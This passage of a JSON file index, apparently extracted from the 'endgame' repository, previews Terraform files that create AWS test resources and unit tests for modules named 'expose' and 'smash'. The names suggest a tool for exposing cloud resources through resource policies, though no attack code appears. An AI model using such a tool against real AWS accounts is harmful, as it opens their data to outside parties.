"path": "terraform/ec2-ami/ami.tf",
"chars": 377,
"preview": "data \"aws_ami\" \"example\" {\n most_recent = true\n owners = [\"amazon\"]\n\n filter {\n name = \"name\"\n "
},
{
"path": "terraform/ec2-ami/output.tf",
"chars": 53,
"preview": "output \"ami_id\" {\n value = aws_ami_copy.example.id\n}"
},
{
"path": "terraform/ec2-ami/variables.tf",
"chars": 141,
"preview": "variable \"region\" {\n default = \"us-east-1\"\n type = string\n}\n\nvariable \"name\" {\n type = string\n default = \"test"
},
{
"path": "terraform/ecr-repository/ecr.tf",
"chars": 57,
"preview": "resource \"aws_ecr_repository\" \"foo\" {\n name = var.name\n}"
},
{
"path": "terraform/ecr-repository/outputs.tf",
"chars": 110,
"preview": "output \"name\" {\n value = aws_ecr_repository.foo.name\n}\n\noutput \"arn\" {\n value = aws_ecr_repository.foo.arn\n}"
},
{
"path": "terraform/ecr-repository/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/efs-file-system/efs.tf",
"chars": 104,
"preview": "resource \"aws_efs_file_system\" \"foo\" {\n creation_token = var.name\n\n tags = {\n Name = var.name\n }\n}"
},
{
"path": "terraform/efs-file-system/outputs.tf",
"chars": 108,
"preview": "output \"id\" {\n value = aws_efs_file_system.foo.id\n}\n\noutput \"arn\" {\n value = aws_efs_file_system.foo.arn\n}"
},
{
"path": "terraform/efs-file-system/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/elasticsearch-domain/es.tf",
"chars": 311,
"preview": "resource \"aws_elasticsearch_domain\" \"example\" {\n domain_name = var.name\n elasticsearch_version = \"1.5\"\n\n cl"
},
{
"path": "terraform/elasticsearch-domain/outputs.tf",
"chars": 137,
"preview": "output \"name\" {\n value = aws_elasticsearch_domain.example.domain_name\n}\n\noutput \"arn\" {\n value = aws_elasticsearch_dom"
},
{
"path": "terraform/elasticsearch-domain/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/glacier-vault/glacier.tf",
"chars": 75,
"preview": "resource \"aws_glacier_vault\" \"test_resource_exposure\" {\n name = var.name\n}"
},
{
"path": "terraform/glacier-vault/outputs.tf",
"chars": 147,
"preview": "output \"arn\" {\n value = aws_glacier_vault.test_resource_exposure.arn\n}\n\noutput \"name\" {\n value = aws_glacier_vault.tes"
},
{
"path": "terraform/glacier-vault/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/iam-role/outputs.tf",
"chars": 110,
"preview": "output \"arn\" {\n value = aws_iam_role.test_role.arn\n}\n\noutput \"name\" {\n value = aws_iam_role.test_role.name\n}"
},
{
"path": "terraform/iam-role/role.tf",
"chars": 337,
"preview": "resource \"aws_iam_role\" \"test_role\" {\n name = var.name\n\n assume_role_policy = <<EOF\n{\n \"Version\": \"2012-10-17\",\n \"St"
},
{
"path": "terraform/iam-role/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/lambda-function/lambda.py",
"chars": 103,
"preview": "import json\n\n\ndef handler(event, context):\n print(\"Received event: \" + json.dumps(event, indent=2))\n"
},
{
"path": "terraform/lambda-function/lambda_function.tf",
"chars": 748,
"preview": "resource \"aws_lambda_function\" \"lambda_function\" {\n role = aws_iam_role.lambda_exec_role.arn\n handler "
},
{
"path": "terraform/lambda-function/outputs.tf",
"chars": 145,
"preview": "output \"arn\" {\n value = aws_lambda_function.lambda_function.arn\n}\n\noutput \"name\" {\n value = aws_lambda_function.lambda"
},
{
"path": "terraform/lambda-function/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/lambda-layer/layer.tf",
"chars": 661,
"preview": "data \"archive_file\" \"layer\" {\n source_dir = \"${path.module}/python/\"\n output_path = \"${path.module}/python_libs.zip\"\n "
},
{
"path": "terraform/lambda-layer/outputs.tf",
"chars": 166,
"preview": "output \"arn\" {\n value = aws_lambda_layer_version.lambda_layer.layer_arn\n}\n\noutput \"name\" {\n value = \"${var.name}:${aws"
},
{
"path": "terraform/lambda-layer/python/custom_func.py",
"chars": 70,
"preview": "def cust_fun():\n print(\"Hello from the deep layers!!\")\n return 1"
},
{
"path": "terraform/lambda-layer/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/provider.tf",
"chars": 40,
"preview": "provider \"aws\" {\n region = var.region\n}"
},
{
"path": "terraform/rds-cluster-snapshot/cluster_snapshot.tf",
"chars": 645,
"preview": "resource \"aws_rds_cluster\" \"test_resource_exposure\" {\n cluster_identifier = var.name\n engine = \""
},
{
"path": "terraform/rds-cluster-snapshot/outputs.tf",
"chars": 210,
"preview": "output \"snapshot_identifier\" {\n value = aws_db_cluster_snapshot.test_resource_exposure.db_cluster_identifier\n}\n\noutput "
},
{
"path": "terraform/rds-cluster-snapshot/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/rds-snapshot/db_snapshot.tf",
"chars": 1297,
"preview": "resource \"aws_db_instance\" \"bar\" {\n allocated_storage = 20\n storage_type = \"gp2\"\n engine = \""
},
{
"path": "terraform/rds-snapshot/outputs.tf",
"chars": 151,
"preview": "output \"snapshot_identifier\" {\n value = aws_db_snapshot.test.db_snapshot_identifier\n}\n\noutput \"arn\" {\n value = aws_db_"
},
{
"path": "terraform/rds-snapshot/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/s3-bucket/bucket.tf",
"chars": 342,
"preview": "resource \"aws_s3_bucket\" \"test_resource_exposure\" {\n bucket = \"${var.name_prefix}-${random_string.random.result}\"\n}\n\nre"
},
{
"path": "terraform/s3-bucket/outputs.tf",
"chars": 140,
"preview": "output \"arn\" {\n value = aws_s3_bucket.test_resource_exposure.arn\n}\n\noutput \"name\" {\n value = aws_s3_bucket.test_resour"
},
{
"path": "terraform/s3-bucket/variables.tf",
"chars": 82,
"preview": "variable \"name_prefix\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/secrets-manager/outputs.tf",
"chars": 162,
"preview": "output \"arn\" {\n value = aws_secretsmanager_secret.test_resource_exposure.arn\n}\n\noutput \"name\" {\n value = aws_secretsma"
},
{
"path": "terraform/secrets-manager/secrets-manager.tf",
"chars": 273,
"preview": "resource \"aws_secretsmanager_secret\" \"test_resource_exposure\" {\n name = var.name\n recovery_window_in_days = 0\n}\n\nresou"
},
{
"path": "terraform/secrets-manager/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/ses-domain-identity/outputs.tf",
"chars": 130,
"preview": "output \"arn\" {\n value = aws_ses_domain_identity.example.arn\n}\n\noutput \"name\" {\n value = aws_ses_domain_identity.exampl"
},
{
"path": "terraform/ses-domain-identity/ses.tf",
"chars": 467,
"preview": "resource \"aws_ses_domain_identity\" \"example\" {\n domain = var.domain_name\n}\n//\n//resource \"aws_route53_record\" \"example_"
},
{
"path": "terraform/ses-domain-identity/variables.tf",
"chars": 86,
"preview": "variable \"domain_name\" {\n type = string\n default = \"test-resource-exposure.com\"\n}"
},
{
"path": "terraform/sns-topic/outputs.tf",
"chars": 138,
"preview": "output \"arn\" {\n value = aws_sns_topic.test_resource_exposure.arn\n}\n\noutput \"name\" {\n value = aws_sns_topic.test_resour"
},
{
"path": "terraform/sns-topic/sns.tf",
"chars": 71,
"preview": "resource \"aws_sns_topic\" \"test_resource_exposure\" {\n name = var.name\n}"
},
{
"path": "terraform/sns-topic/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/sqs-queue/outputs.tf",
"chars": 138,
"preview": "output \"arn\" {\n value = aws_sqs_queue.test_resource_exposure.arn\n}\n\noutput \"name\" {\n value = aws_sqs_queue.test_resour"
},
{
"path": "terraform/sqs-queue/sqs.tf",
"chars": 87,
"preview": "resource \"aws_sqs_queue\" \"test_resource_exposure\" {\n name = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/sqs-queue/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
"path": "terraform/variables.tf",
"chars": 45,
"preview": "variable \"region\" {\n default = \"us-east-1\"\n}"
},
{
"path": "test/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "test/command/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "test/command/test_expose.py",
"chars": 430,
"preview": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom endgame.command.expose import expose\n\n\nclass ListRe"
},
{
"path": "test/command/test_list_resources.py",
"chars": 2808,
"preview": "import json\nimport os\nimport unittest\nimport warnings\nfrom moto import mock_s3, mock_sts\nfrom click.testing import CliRu"
},
{
"path": "test/command/test_smash.py",
"chars": 2850,
"preview": "import os\nimport json\nimport unittest\nimport warnings\nfrom moto import mock_s3, mock_sts\nfrom click.testing import CliRu"
},
{
"path": "test/exposure_via_resource_policies/README.md",
"chars": 3749,
"preview": "# Moto support status per service\n\n* ACM PCA: ❌ Not supported by Moto\n * `delete_policy`: ❌ Not supported\n * `get_poli"
},
{
"path": "test/exposure_via_resource_policies/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "test/exposure_via_resource_policies/test_ecr.py",
"chars": 1759,
"preview": "import unittest\nimport warnings\nfrom moto import mock_ecr\nfrom endgame.exposure_via_resource_policies.ecr import EcrRepo"
},
{
"path": "test/exposure_via_resource_policies/test_glacier.py",
"chars": 1261,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_glacier\nfrom endgame.exposure_via_resource_policies.gl"
},
{
"path": "test/exposure_via_resource_policies/test_iam.py",
"chars": 2278,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_iam\nfrom endgame.exposure_via_resource_policies.iam im"
},
{
"path": "test/exposure_via_resource_policies/test_kms.py",
"chars": 3536,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_kms\nfrom endgame.exposure_via_resource_policies.kms im"
},
{
"path": "test/exposure_via_resource_policies/test_s3.py",
"chars": 2298,
"preview": "import unittest\nimport warnings\nfrom moto import mock_s3\nfrom endgame.exposure_via_resource_policies import s3\nfrom endg"
},
{
"path": "test/exposure_via_resource_policies/test_secrets_manager.py",
"chars": 2581,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_secretsmanager\nfrom endgame.exposure_via_resource_poli"
},
{
"path": "test/exposure_via_resource_policies/test_ses.py",
"chars": 1374,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_ses\nfrom endgame.exposure_via_resource_policies.ses im"
},
{
"path": "test/exposure_via_resource_policies/test_sns.py",
"chars": 6503,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_sns\nfrom endgame.exposure_via_resource_policies.sns im"
},
{
"path": "test/exposure_via_resource_policies/test_sqs.py",
"chars": 4255,
"preview": "import unittest\nimport warnings\nimport json\nfrom moto import mock_sqs\nfrom endgame.exposure_via_resource_policies.sqs im"
},
{
"path": "test/shared/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "test/shared/test_policy_document.py",
"chars": 7805,
"preview": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn"
},
{
"path": "test/shared/test_resource_results.py",
"chars": 5572,
"preview": "import unittest\nimport warnings\nfrom moto import mock_kms, mock_iam, mock_ecr\nfrom endgame.shared.aws_login import get_b"
},
{
"path": "test/shared/test_statement_detail.py",
"chars": 2176,
"preview": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn"
},
{
"path": "test/shared/test_utils.py",
"chars": 2057,
"preview": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn"
},
{
"path": "test/shared/test_validate.py",
"chars": 1925,
"preview": "import json\nimport unittest\nfrom click.testing import CliRunner\nimport datetime\nfrom endgame.shared.validate import vali"
}
]
About this extraction
This page contains the full source code of the DavidDikker/endgame GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 179 files (486.3 KB), approximately 113.8k tokens, and a symbol index with 378 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.